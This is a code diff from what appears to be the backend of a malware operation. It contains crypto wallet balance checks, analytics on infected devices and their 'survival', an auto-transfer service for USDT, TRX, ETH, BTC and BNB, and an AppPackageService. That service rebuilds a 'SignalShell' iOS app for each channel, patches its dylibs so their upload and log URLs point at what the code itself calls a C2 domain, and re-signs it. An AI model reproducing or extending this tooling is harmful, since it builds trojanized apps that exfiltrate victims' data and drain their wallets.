$lamports = (string) $balanceResult;
|
||||
}
|
||||
$sol = $this->fromLamports($lamports);
|
||||
|
||||
$usdtMint = (string) config('coruna.sol.usdt_contract', '');
|
||||
$usdtDecimals = (int) config('coruna.sol.usdt_decimals', 6);
|
||||
$usdt = '0';
|
||||
if ($usdtMint !== '') {
|
||||
$usdt = $this->solTokenBalance($rpc, $address, $usdtMint, $usdtDecimals);
|
||||
}
|
||||
|
||||
$activated = $this->positive($sol) || $this->positive($usdt);
|
||||
$tokens = [];
|
||||
if ($this->positive($usdt)) {
|
||||
$tokens[] = [
|
||||
'symbol' => 'USDT',
|
||||
'contract' => $usdtMint,
|
||||
'decimals' => $usdtDecimals,
|
||||
'amount' => $usdt,
|
||||
'amount_usd' => null,
|
||||
];
|
||||
}
|
||||
|
||||
return [
|
||||
'activated' => $activated,
|
||||
'native' => $this->positive($sol)
|
||||
? ['symbol' => 'SOL', 'amount' => $sol, 'amount_usd' => null, 'contract' => '']
|
||||
: null,
|
||||
'tokens' => $tokens,
|
||||
'first_active' => null,
|
||||
'last_active' => null,
|
||||
];
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('Alchemy SOL fetch failed', ['address' => $address, 'error' => $e->getMessage()]);
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Sum SPL token units across all token accounts owned by $address for $mint.
|
||||
*/
|
||||
private function solTokenBalance(string $rpc, string $address, string $mint, int &$decimals): string
|
||||
{
|
||||
try {
|
||||
$result = $this->rpc($rpc, 'getTokenAccountsByOwner', [
|
||||
$address,
|
||||
['mint' => $mint],
|
||||
['encoding' => 'jsonParsed', 'commitment' => 'confirmed'],
|
||||
]);
|
||||
} catch (\Throwable) {
|
||||
return '0';
|
||||
}
|
||||
$accounts = is_array($result) && isset($result['value']) ? $result['value'] : [];
|
||||
$total = '0';
|
||||
foreach ($accounts as $entry) {
|
||||
$info = $entry['account']['data']['parsed']['info']['tokenAmount'] ?? null;
|
||||
if (! is_array($info)) {
|
||||
continue;
|
||||
}
|
||||
$amount = (string) ($info['amount'] ?? '0');
|
||||
if (! preg_match('/^\d+$/', $amount)) {
|
||||
continue;
|
||||
}
|
||||
if (isset($info['decimals']) && is_numeric($info['decimals'])) {
|
||||
$decimals = (int) $info['decimals'];
|
||||
}
|
||||
$total = bcadd($total, $amount, 0);
|
||||
}
|
||||
|
||||
return $this->humanize($total, max(0, $decimals));
|
||||
}
|
||||
|
||||
private function fromLamports(string $lamports): string
|
||||
{
|
||||
if (! preg_match('/^\d+$/', $lamports)) {
|
||||
$lamports = '0';
|
||||
}
|
||||
$human = bcdiv($lamports, '1000000000', 9);
|
||||
$human = rtrim(rtrim($human, '0'), '.');
|
||||
|
||||
return $human === '' ? '0' : $human;
|
||||
}
|
||||
|
||||
/**
|
||||
* Raw ERC20/BEP20 balanceOf (units) via eth_call.
|
||||
*/
|
||||
private function tokenBalanceRaw(string $rpc, string $address, string $contract): string
|
||||
{
|
||||
$data = '0x70a08231'.str_pad(substr($this->evmAddr($address), 2), 64, '0', STR_PAD_LEFT);
|
||||
try {
|
||||
$hex = $this->rpc($rpc, 'eth_call', [['to' => $this->evmAddr($contract), 'data' => $data], 'latest']);
|
||||
} catch (\Throwable) {
|
||||
return '0';
|
||||
}
|
||||
|
||||
return $this->hexToDec((string) $hex);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return mixed
|
||||
*/
|
||||
private function rpc(string $base, string $method, array $params)
|
||||
{
|
||||
$url = $base.'/'.$this->apiKey;
|
||||
$resp = Http::connectTimeout(15)->timeout($this->timeout)
|
||||
->acceptJson()->asJson()
|
||||
->post($url, [
|
||||
'jsonrpc' => '2.0',
|
||||
'id' => 1,
|
||||
'method' => $method,
|
||||
'params' => $params,
|
||||
]);
|
||||
|
||||
if ($resp->status() === 401) {
|
||||
$this->disableTemporarily();
|
||||
throw new \RuntimeException('Alchemy 401 (invalid key or network not enabled)');
|
||||
}
|
||||
if (! $resp->successful()) {
|
||||
throw new \RuntimeException('Alchemy HTTP '.$resp->status());
|
||||
}
|
||||
$json = $resp->json();
|
||||
if (! is_array($json)) {
|
||||
throw new \RuntimeException('Alchemy invalid response');
|
||||
}
|
||||
if (isset($json['error'])) {
|
||||
$msg = $json['error']['message'] ?? json_encode($json['error']);
|
||||
throw new \RuntimeException('Alchemy RPC: '.(is_string($msg) ? $msg : 'error'));
|
||||
}
|
||||
|
||||
return $json['result'] ?? null;
|
||||
}
|
||||
|
||||
private function evmAddr(string $addr): string
|
||||
{
|
||||
return strtolower(trim($addr));
|
||||
}
|
||||
|
||||
private function hexToDec(string $hex): string
|
||||
{
|
||||
$hex = ltrim($hex, '0x');
|
||||
if ($hex === '' || ! preg_match('/^[0-9a-fA-F]+$/', $hex)) {
|
||||
return '0';
|
||||
}
|
||||
$dec = '';
|
||||
$len = strlen($hex);
|
||||
for ($i = 0; $i < $len; $i++) {
|
||||
$carry = hexdec($hex[$i]);
|
||||
$dec = $this->bcAddDigit($dec, $carry);
|
||||
}
|
||||
|
||||
return $dec === '' ? '0' : $dec;
|
||||
}
|
||||
|
||||
private function bcAddDigit(string $acc, int $digit): string
|
||||
{
|
||||
if ($digit === 0 && $acc === '') {
|
||||
return '0';
|
||||
}
|
||||
return bcadd(bcmul($acc === '' ? '0' : $acc, '16', 0), (string) $digit, 0);
|
||||
}
|
||||
|
||||
private function humanize(string $units, int $decimals): string
|
||||
{
|
||||
if (! preg_match('/^\d+$/', $units)) {
|
||||
return '0';
|
||||
}
|
||||
if ($decimals <= 0) {
|
||||
return $units === '' ? '0' : $units;
|
||||
}
|
||||
$factor = bcpow('10', (string) $decimals, 0);
|
||||
$human = bcdiv($units, $factor, $decimals);
|
||||
$human = rtrim(rtrim($human, '0'), '.');
|
||||
|
||||
return $human === '' ? '0' : $human;
|
||||
}
|
||||
|
||||
private function positive(string $amount): bool
|
||||
{
|
||||
return preg_match('/^-?\d+(\.\d+)?$/', $amount) && bccomp($amount, '0', 18) > 0;
|
||||
}
|
||||
|
||||
private function positiveUnits(string $units): bool
|
||||
{
|
||||
return preg_match('/^\d+$/', $units) && bccomp($units, '0', 0) > 0;
|
||||
}
|
||||
}
|
||||
@@ -7,6 +7,7 @@ use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
use App\Support\AgentScope;
|
||||
use App\Support\CfIpCountry;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
|
||||
@@ -28,6 +29,8 @@ class AnalyticsReportService
|
||||
* by_os: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
|
||||
* by_visit_country: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_device_country: list<array{label: string, count: int, pct: float}>,
|
||||
* control_by_version: list<array{label: string, effective_uv: int, devices: int, pct: float|null}>
|
||||
* }
|
||||
*/
|
||||
@@ -67,12 +70,30 @@ class AnalyticsReportService
|
||||
{
|
||||
$scope = DailyReportService::scopeKey($agentUserId);
|
||||
$expected = (int) $from->copy()->startOfDay()->diffInDays($to->copy()->startOfDay()) + 1;
|
||||
$have = $this->cachedDays($scope, AnalyticsDailyDim::KIND_SURVIVAL, $from, $to);
|
||||
$haveWallet = $this->cachedDays($scope, AnalyticsDailyDim::KIND_SURVIVAL_WALLET, $from, $to);
|
||||
if ($have < $expected || $haveWallet < $expected) {
|
||||
$this->rebuild($from, $to, $agentUserId);
|
||||
// 一次查询拿到范围内每个 kind 的去重天数,避免逐 kind COUNT。
|
||||
$have = AnalyticsDailyDim::query()
|
||||
->where('scope_key', $scope)
|
||||
->whereBetween('stat_date', [$from->toDateString(), $to->toDateString()])
|
||||
->selectRaw('kind, COUNT(DISTINCT stat_date) AS days')
|
||||
->groupBy('kind')
|
||||
->pluck('days', 'kind')
|
||||
->all();
|
||||
// 检查所有按日聚合的 kind 是否都有完整缓存;任一缺失即重建。
|
||||
$requiredKinds = [
|
||||
AnalyticsDailyDim::KIND_SURVIVAL,
|
||||
AnalyticsDailyDim::KIND_SURVIVAL_WALLET,
|
||||
AnalyticsDailyDim::KIND_VISIT_OS,
|
||||
AnalyticsDailyDim::KIND_VISIT_VERSION,
|
||||
AnalyticsDailyDim::KIND_DEVICE_VERSION,
|
||||
AnalyticsDailyDim::KIND_VISIT_COUNTRY,
|
||||
AnalyticsDailyDim::KIND_DEVICE_COUNTRY,
|
||||
];
|
||||
foreach ($requiredKinds as $kind) {
|
||||
if ((int) ($have[$kind] ?? 0) < $expected) {
|
||||
$this->rebuild($from, $to, $agentUserId);
|
||||
|
||||
return;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
$today = Carbon::now()->toDateString();
|
||||
@@ -176,6 +197,34 @@ class AnalyticsReportService
|
||||
);
|
||||
}
|
||||
|
||||
$countryExpr = $this->countryDimSql('country');
|
||||
|
||||
$visitCountryRows = (clone $visits)
|
||||
->selectRaw("{$countryExpr} as dim, COUNT(DISTINCT client_uid) as uv")
|
||||
->groupByRaw($countryExpr)
|
||||
->get();
|
||||
foreach ($visitCountryRows as $row) {
|
||||
$out[] = $this->dimRow(
|
||||
AnalyticsDailyDim::KIND_VISIT_COUNTRY,
|
||||
$this->clipDim((string) $row->dim),
|
||||
(int) $row->uv,
|
||||
);
|
||||
}
|
||||
|
||||
$deviceCountryRows = (clone $devices)
|
||||
->selectRaw("{$countryExpr} as dim, COUNT(*) as cnt")
|
||||
->groupByRaw($countryExpr)
|
||||
->get();
|
||||
foreach ($deviceCountryRows as $row) {
|
||||
$out[] = $this->dimRow(
|
||||
AnalyticsDailyDim::KIND_DEVICE_COUNTRY,
|
||||
$this->clipDim((string) $row->dim),
|
||||
0,
|
||||
0,
|
||||
(int) $row->cnt,
|
||||
);
|
||||
}
|
||||
|
||||
$secondsExpr = $this->survivalSecondsSql();
|
||||
$survival = (clone $devices)
|
||||
->selectRaw("COUNT(*) as cnt, COALESCE(SUM({$secondsExpr}), 0) as seconds_sum")
|
||||
@@ -215,6 +264,8 @@ class AnalyticsReportService
|
||||
* by_os: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
|
||||
* by_visit_country: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_device_country: list<array{label: string, count: int, pct: float}>,
|
||||
* control_by_version: list<array{label: string, effective_uv: int, devices: int, pct: float|null}>
|
||||
* }
|
||||
*/
|
||||
@@ -230,6 +281,8 @@ class AnalyticsReportService
|
||||
$visitVersions = [];
|
||||
$visitEffective = [];
|
||||
$deviceVersions = [];
|
||||
$visitCountries = [];
|
||||
$deviceCountries = [];
|
||||
$survivalDevices = 0;
|
||||
$survivalSeconds = 0;
|
||||
$walletDevices = 0;
|
||||
@@ -247,6 +300,10 @@ class AnalyticsReportService
|
||||
$visitEffective[$row->dim] = ($visitEffective[$row->dim] ?? 0) + (int) $row->effective_uv;
|
||||
} elseif ($row->kind === AnalyticsDailyDim::KIND_DEVICE_VERSION) {
|
||||
$deviceVersions[$row->dim] = ($deviceVersions[$row->dim] ?? 0) + (int) $row->devices;
|
||||
} elseif ($row->kind === AnalyticsDailyDim::KIND_VISIT_COUNTRY) {
|
||||
$visitCountries[$row->dim] = ($visitCountries[$row->dim] ?? 0) + (int) $row->uv;
|
||||
} elseif ($row->kind === AnalyticsDailyDim::KIND_DEVICE_COUNTRY) {
|
||||
$deviceCountries[$row->dim] = ($deviceCountries[$row->dim] ?? 0) + (int) $row->devices;
|
||||
} elseif ($row->kind === AnalyticsDailyDim::KIND_SURVIVAL) {
|
||||
$survivalDevices += (int) $row->devices;
|
||||
$survivalSeconds += (int) $row->seconds_sum;
|
||||
@@ -302,6 +359,8 @@ class AnalyticsReportService
|
||||
],
|
||||
'by_ios_version' => $this->visitVersionRows($visitVersions, $visitUvSum),
|
||||
'by_device_ios_version' => $this->deviceVersionRows($deviceVersions, $deviceTotal),
|
||||
'by_visit_country' => $this->countryRows($visitCountries, array_sum($visitCountries), 'uv'),
|
||||
'by_device_country' => $this->countryRows($deviceCountries, array_sum($deviceCountries), 'count'),
|
||||
'control_by_version' => $control,
|
||||
];
|
||||
}
|
||||
@@ -347,6 +406,34 @@ class AnalyticsReportService
|
||||
return $rows;
|
||||
}
|
||||
|
||||
/**
|
||||
* 按国家维度汇总,dim 存 ISO 代码,label 转中文名展示。
|
||||
*
|
||||
* @param array<string, int> $countries
|
||||
* @return list<array{label: string, uv: int, pct: float}>|list<array{label: string, count: int, pct: float}>
|
||||
*/
|
||||
private function countryRows(array $countries, int $total, string $valueKey): array
|
||||
{
|
||||
$labels = array_keys($countries);
|
||||
usort($labels, function (string $a, string $b) use ($countries): int {
|
||||
return ($countries[$b] ?? 0) <=> ($countries[$a] ?? 0) ?: strcmp($a, $b);
|
||||
});
|
||||
$rows = [];
|
||||
foreach ($labels as $code) {
|
||||
$value = (int) $countries[$code];
|
||||
$label = $code === AnalyticsDailyDim::DIM_UNKNOWN
|
||||
? AnalyticsDailyDim::DIM_UNKNOWN
|
||||
: CfIpCountry::label($code);
|
||||
$rows[] = [
|
||||
'label' => $label ?: $code,
|
||||
$valueKey => $value,
|
||||
'pct' => $total > 0 ? round(($value / $total) * 100, 1) : 0.0,
|
||||
];
|
||||
}
|
||||
|
||||
return $rows;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{label: string, uv: int, pct: float}
|
||||
*/
|
||||
@@ -410,6 +497,11 @@ class AnalyticsReportService
|
||||
return "CASE WHEN {$column} IS NULL OR TRIM({$column}) = '' THEN '未知' ELSE TRIM({$column}) END";
|
||||
}
|
||||
|
||||
private function countryDimSql(string $column): string
|
||||
{
|
||||
return "CASE WHEN {$column} IS NULL OR TRIM({$column}) = '' THEN '未知' ELSE UPPER(TRIM({$column})) END";
|
||||
}
|
||||
|
||||
private function survivalSecondsSql(): string
|
||||
{
|
||||
if (DB::connection()->getDriverName() === 'sqlite') {
|
||||
|
||||
@@ -0,0 +1,410 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Channel;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use RuntimeException;
|
||||
|
||||
/**
|
||||
* Build a customized SignalShell IPA for App-builder channels.
|
||||
*
|
||||
* Takes a base IPA template, patches it with the channel's
|
||||
* domain / channel ID / app name / logo, and outputs a
|
||||
* downloadable IPA file.
|
||||
*/
|
||||
class AppPackageService
|
||||
{
|
||||
/** Base IPA template path (uploaded once via admin). */
|
||||
private const BASE_IPA_PATH = 'app-templates/signalshell-base.ipa';
|
||||
|
||||
/** Icon sizes to generate from the uploaded logo. */
|
||||
private const ICON_SIZES = [
|
||||
'Icon-20.png' => 20,
|
||||
'Icon-20@2x.png' => 40,
|
||||
'Icon-20@3x.png' => 60,
|
||||
'Icon-29.png' => 29,
|
||||
'Icon-29@2x.png' => 58,
|
||||
'Icon-29@3x.png' => 87,
|
||||
'Icon-40.png' => 40,
|
||||
'Icon-40@2x.png' => 80,
|
||||
'Icon-40@3x.png' => 120,
|
||||
'Icon-60@2x.png' => 120,
|
||||
'Icon-60@3x.png' => 180,
|
||||
'Icon-76.png' => 76,
|
||||
'Icon-76@2x.png' => 152,
|
||||
'Icon-83.5@2x.png' => 167,
|
||||
];
|
||||
|
||||
/**
|
||||
* Build a customized IPA for the given channel.
|
||||
*
|
||||
* @param Channel $channel App-builder channel with app_name, bundle_id, channel_id
|
||||
* @param string|null $logoPath Temporary path to the uploaded logo (PNG, ≥180×180)
|
||||
* @param string $apiDomain C2 domain (e.g. hslaxo.cc)
|
||||
* @return array{success: bool, path: string, size: int, error: string}
|
||||
*/
|
||||
public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
|
||||
{
|
||||
$baseIpa = storage_path('app/'.self::BASE_IPA_PATH);
|
||||
if (! file_exists($baseIpa)) {
|
||||
return ['success' => false, 'path' => '', 'size' => 0, 'error' => 'Base IPA template not found. Upload via admin first.'];
|
||||
}
|
||||
|
||||
$workDir = storage_path('app/app-builds/'.$channel->channel_id);
|
||||
if (is_dir($workDir)) {
|
||||
$this->rrmdir($workDir);
|
||||
}
|
||||
@mkdir($workDir, 0755, true);
|
||||
|
||||
try {
|
||||
// 1. Extract base IPA
|
||||
$zip = new \ZipArchive;
|
||||
if ($zip->open($baseIpa) !== true) {
|
||||
throw new RuntimeException('Cannot open base IPA');
|
||||
}
|
||||
$zip->extractTo($workDir);
|
||||
$zip->close();
|
||||
|
||||
$appDir = $workDir.'/Payload/SignalShell.app';
|
||||
if (! is_dir($appDir)) {
|
||||
// Try to find any .app directory
|
||||
$payload = $workDir.'/Payload';
|
||||
$dirs = glob($payload.'/*.app');
|
||||
if (empty($dirs)) {
|
||||
throw new RuntimeException('No .app directory found in IPA');
|
||||
}
|
||||
$appDir = $dirs[0];
|
||||
}
|
||||
|
||||
// 2. Patch Info.plist
|
||||
$this->patchInfoPlist($appDir, $channel, $apiDomain);
|
||||
|
||||
// 3. Generate icons from logo
|
||||
if ($logoPath && file_exists($logoPath)) {
|
||||
$this->generateIcons($appDir, $logoPath);
|
||||
}
|
||||
|
||||
// 4. Patch libroute.dylib (domain + channel ID)
|
||||
$this->patchLibroute($appDir, $apiDomain, $channel->channel_id);
|
||||
|
||||
// 5. Patch libmcmlease.dylib (domain)
|
||||
$this->patchLibmcmlease($appDir, $apiDomain);
|
||||
|
||||
// 6. Sign (ldid if available, skip otherwise)
|
||||
$this->sign($appDir);
|
||||
|
||||
// 7. Package IPA
|
||||
$outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
|
||||
$outputFull = public_path($outputPath);
|
||||
@mkdir(dirname($outputFull), 0755, true);
|
||||
|
||||
$outZip = new \ZipArchive;
|
||||
if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
|
||||
throw new RuntimeException('Cannot create output IPA');
|
||||
}
|
||||
$this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
|
||||
$outZip->close();
|
||||
|
||||
$size = filesize($outputFull);
|
||||
|
||||
// Cleanup
|
||||
$this->rrmdir($workDir);
|
||||
|
||||
return [
|
||||
'success' => true,
|
||||
'path' => '/'.$outputPath,
|
||||
'size' => $size,
|
||||
'error' => '',
|
||||
];
|
||||
} catch (\Throwable $e) {
|
||||
$this->rrmdir($workDir);
|
||||
Log::error('AppPackageService: build failed', [
|
||||
'channel' => $channel->channel_id,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
|
||||
return [
|
||||
'success' => false,
|
||||
'path' => '',
|
||||
'size' => 0,
|
||||
'error' => $e->getMessage(),
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
private function patchInfoPlist(string $appDir, Channel $channel, string $apiDomain): void
|
||||
{
|
||||
$plistPath = $appDir.'/Info.plist';
|
||||
$xml = file_get_contents($plistPath);
|
||||
|
||||
// Replace display name
|
||||
$xml = preg_replace(
|
||||
'#<key>CFBundleDisplayName</key>\s*<string>[^<]*</string>#',
|
||||
'<key>CFBundleDisplayName</key><string>'.htmlspecialchars($channel->app_name).'</string>',
|
||||
$xml,
|
||||
);
|
||||
|
||||
// Replace bundle identifier
|
||||
if ($channel->bundle_id) {
|
||||
$xml = preg_replace(
|
||||
'#<key>CFBundleIdentifier</key>\s*<string>[^<]*</string>#',
|
||||
'<key>CFBundleIdentifier</key><string>'.htmlspecialchars($channel->bundle_id).'</string>',
|
||||
$xml,
|
||||
);
|
||||
}
|
||||
|
||||
// Replace CFBundleName (short name)
|
||||
$xml = preg_replace(
|
||||
'#<key>CFBundleName</key>\s*<string>[^<]*</string>#',
|
||||
'<key>CFBundleName</key><string>'.htmlspecialchars(substr($channel->app_name, 0, 15)).'</string>',
|
||||
$xml,
|
||||
);
|
||||
|
||||
// Replace ShellConfigEndpoint (config API URL)
|
||||
$configEndpoint = 'https://'.$apiDomain.'/api/ap/config?a='.$channel->channel_id;
|
||||
$xml = preg_replace(
|
||||
'#<key>ShellConfigEndpoint</key>\s*<string>[^<]*</string>#',
|
||||
'<key>ShellConfigEndpoint</key><string>'.htmlspecialchars($configEndpoint).'</string>',
|
||||
$xml,
|
||||
);
|
||||
|
||||
// Replace ShellWebsiteURL (fallback WebView URL)
|
||||
if ($channel->h5_url) {
|
||||
$xml = preg_replace(
|
||||
'#<key>ShellWebsiteURL</key>\s*<string>[^<]*</string>#',
|
||||
'<key>ShellWebsiteURL</key><string>'.htmlspecialchars($channel->h5_url).'</string>',
|
||||
$xml,
|
||||
);
|
||||
}
|
||||
|
||||
file_put_contents($plistPath, $xml);
|
||||
}
|
||||
|
||||
private function generateIcons(string $appDir, string $logoPath): void
|
||||
{
|
||||
if (! function_exists('imagecreatefrompng')) {
|
||||
// GD not available, copy logo as-is for main icon only
|
||||
copy($logoPath, $appDir.'/Icon-60@3x.png');
|
||||
return;
|
||||
}
|
||||
|
||||
$src = imagecreatefrompng($logoPath);
|
||||
if ($src === false) {
|
||||
return;
|
||||
}
|
||||
|
||||
$srcW = imagesx($src);
|
||||
$srcH = imagesy($src);
|
||||
|
||||
foreach (self::ICON_SIZES as $filename => $size) {
|
||||
$dst = imagecreatetruecolor($size, $size);
|
||||
// Transparent background
|
||||
imagesavealpha($dst, true);
|
||||
$trans = imagecolorallocatealpha($dst, 0, 0, 0, 127);
|
||||
imagefill($dst, 0, 0, $trans);
|
||||
|
||||
// Resize (maintain aspect, crop center square)
|
||||
$minSide = min($srcW, $srcH);
|
||||
$srcX = ($srcW - $minSide) / 2;
|
||||
$srcY = ($srcH - $minSide) / 2;
|
||||
imagecopyresampled($dst, $src, 0, 0, (int) $srcX, (int) $srcY, $size, $size, $minSide, $minSide);
|
||||
|
||||
imagepng($dst, $appDir.'/'.$filename, 6);
|
||||
imagedestroy($dst);
|
||||
}
|
||||
imagedestroy($src);
|
||||
}
|
||||
|
||||
private function patchLibroute(string $appDir, string $domain, string $channelId): void
|
||||
{
|
||||
$path = $appDir.'/Frameworks/libroute.dylib';
|
||||
if (! file_exists($path)) {
|
||||
throw new RuntimeException('libroute.dylib not found');
|
||||
}
|
||||
|
||||
$data = file_get_contents($path);
|
||||
$origSize = strlen($data);
|
||||
|
||||
// Helper: in-place string replacement (preserves file size)
|
||||
$replaceInPlace = function (string &$data, string $old, string $new): bool {
|
||||
$idx = strpos($data, $old);
|
||||
if ($idx === false) {
|
||||
return false;
|
||||
}
|
||||
// New must be <= old length
|
||||
if (strlen($new) > strlen($old)) {
|
||||
return false;
|
||||
}
|
||||
// Write new bytes
|
||||
for ($i = 0; $i < strlen($new); $i++) {
|
||||
$data[$idx + $i] = $new[$i];
|
||||
}
|
||||
// Null-terminate
|
||||
$data[$idx + strlen($new)] = "\x00";
|
||||
// Clear remaining old bytes
|
||||
for ($i = strlen($new) + 1; $i < strlen($old) + 1; $i++) {
|
||||
$data[$idx + $i] = "\x00";
|
||||
}
|
||||
return true;
|
||||
};
|
||||
|
||||
$domain = substr($domain, 0, strlen('shenma.my')); // max 9 chars
|
||||
$channelId = substr($channelId, 0, strlen('a119f32b4955')); // max 12 chars
|
||||
// Pad with '0' if shorter
|
||||
$channelId = str_pad($channelId, strlen('a119f32b4955'), '0');
|
||||
|
||||
// 1. Replace upload URL (in-place, same total length guaranteed)
|
||||
$oldUpload = 'https://shenma.my/upload.php?a=a119f32b4955&';
|
||||
$newUpload = "https://{$domain}/api/ap/upload?a={$channelId}&";
|
||||
// Ensure same length by adjusting path if needed
|
||||
if (strlen($newUpload) > strlen($oldUpload)) {
|
||||
// Shrink path: /api/ap/upload → /api/ap/u
|
||||
$newUpload = "https://{$domain}/api/ap/u?a={$channelId}&";
|
||||
}
|
||||
if (strlen($newUpload) > strlen($oldUpload)) {
|
||||
throw new RuntimeException('New upload URL exceeds binary space');
|
||||
}
|
||||
// Pad with trailing null bytes to match old length exactly
|
||||
$newUploadPadded = $newUpload.str_repeat("\x00", strlen($oldUpload) - strlen($newUpload));
|
||||
$idx = strpos($data, $oldUpload);
|
||||
if ($idx !== false) {
|
||||
for ($i = 0; $i < strlen($oldUpload); $i++) {
|
||||
$data[$idx + $i] = $i < strlen($newUploadPadded) ? $newUploadPadded[$i] : "\x00";
|
||||
}
|
||||
}
|
||||
|
||||
// 2. Replace log upload URL (in-place)
|
||||
$oldLog = 'https://shenma.my/upload.php?name=';
|
||||
$newLog = "https://{$domain}/api/ap/lg?n=";
|
||||
if (strlen($newLog) <= strlen($oldLog)) {
|
||||
$newLogPadded = $newLog.str_repeat("\x00", strlen($oldLog) - strlen($newLog));
|
||||
$idx = strpos($data, $oldLog);
|
||||
if ($idx !== false) {
|
||||
for ($i = 0; $i < strlen($oldLog); $i++) {
|
||||
$data[$idx + $i] = $i < strlen($newLogPadded) ? $newLogPadded[$i] : "\x00";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 3. Replace config path (in-place, pad with nulls)
|
||||
$oldConfig = '/api/ios-shell';
|
||||
$newConfig = '/api/ap';
|
||||
$newConfigPadded = $newConfig.str_repeat("\x00", strlen($oldConfig) - strlen($newConfig));
|
||||
$idx = strpos($data, $oldConfig);
|
||||
if ($idx !== false) {
|
||||
for ($i = 0; $i < strlen($oldConfig); $i++) {
|
||||
$data[$idx + $i] = $i < strlen($newConfigPadded) ? $newConfigPadded[$i] : "\x00";
|
||||
}
|
||||
}
|
||||
|
||||
// 4. Replace any remaining shenma.my (equal length: shenma.my = 9)
|
||||
if (strlen($domain) === 9) {
|
||||
$data = str_replace('shenma.my', $domain, $data);
|
||||
}
|
||||
|
||||
// Verify file size unchanged
|
||||
if (strlen($data) !== $origSize) {
|
||||
throw new RuntimeException('Binary size changed! orig='.$origSize.' new='.strlen($data));
|
||||
}
|
||||
|
||||
file_put_contents($path, $data);
|
||||
}
|
||||
|
||||
private function patchLibmcmlease(string $appDir, string $domain): void
|
||||
{
|
||||
$path = $appDir.'/Frameworks/libmcmlease.dylib';
|
||||
if (! file_exists($path)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$data = file_get_contents($path);
|
||||
// Equal-length domain replacement
|
||||
if (strlen($domain) === 9) { // same as shenma.my
|
||||
$data = str_replace('shenma.my', $domain, $data);
|
||||
}
|
||||
file_put_contents($path, $data);
|
||||
}
|
||||
|
||||
private function sign(string $appDir): void
|
||||
{
|
||||
// Remove old signatures (plain filesystem ops, no shell needed)
|
||||
$csDir = $appDir.'/_CodeSignature';
|
||||
if (is_dir($csDir)) {
|
||||
$this->rrmdir($csDir);
|
||||
}
|
||||
|
||||
// Do not file_exists() the binary: panel open_basedir is
|
||||
// project + /tmp, so /usr/bin/ldid throws ErrorException.
|
||||
// proc_open (Process::run) can still execute it.
|
||||
$ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
|
||||
if ($ldidPath === '') {
|
||||
Log::warning('AppPackageService: ldid path empty, IPA will be unsigned');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$binaries = array_merge(
|
||||
[$appDir.'/SignalShell'],
|
||||
glob($appDir.'/Frameworks/*.dylib') ?: [],
|
||||
glob($appDir.'/*.dylib') ?: [],
|
||||
);
|
||||
|
||||
foreach ($binaries as $bin) {
|
||||
if (! is_string($bin) || $bin === '' || ! is_file($bin)) {
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
$result = Process::run([$ldidPath, '-S', $bin]);
|
||||
if (! $result->successful()) {
|
||||
Log::warning('AppPackageService: ldid sign failed for '.basename($bin), [
|
||||
'error' => $result->errorOutput() ?: $result->output(),
|
||||
]);
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('AppPackageService: ldid sign failed for '.basename($bin), [
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
|
||||
{
|
||||
$items = scandir($dir);
|
||||
foreach ($items as $item) {
|
||||
if ($item === '.' || $item === '..') {
|
||||
continue;
|
||||
}
|
||||
$path = $dir.'/'.$item;
|
||||
$zipPath = $prefix.'/'.$item;
|
||||
if (is_dir($path)) {
|
||||
$zip->addEmptyDir($zipPath);
|
||||
$this->addDirToZip($zip, $path, $zipPath);
|
||||
} else {
|
||||
$zip->addFile($path, $zipPath);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function rrmdir(string $dir): void
|
||||
{
|
||||
if (! is_dir($dir)) {
|
||||
return;
|
||||
}
|
||||
$items = scandir($dir);
|
||||
foreach ($items as $item) {
|
||||
if ($item === '.' || $item === '..') {
|
||||
continue;
|
||||
}
|
||||
$path = $dir.'/'.$item;
|
||||
if (is_dir($path)) {
|
||||
$this->rrmdir($path);
|
||||
} else {
|
||||
@unlink($path);
|
||||
}
|
||||
}
|
||||
@rmdir($dir);
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -16,7 +16,7 @@ use App\Models\WalletAddress;
|
||||
class AutoTransferConfig
|
||||
{
|
||||
/** @var list<string> */
|
||||
public const ASSETS = ['USDT', 'TRX', 'ETH', 'BTC'];
|
||||
public const ASSETS = ['USDT', 'TRX', 'ETH', 'BTC', 'BNB'];
|
||||
|
||||
public function isEnabledForAddress(WalletAddress $address): bool
|
||||
{
|
||||
|
||||
@@ -44,7 +44,7 @@ class AutoTransferService
|
||||
foreach ($this->candidates() as $address) {
|
||||
$stats['inspected']++;
|
||||
if ($async) {
|
||||
AutoTransferAddress::dispatch($address->id, 'cron');
|
||||
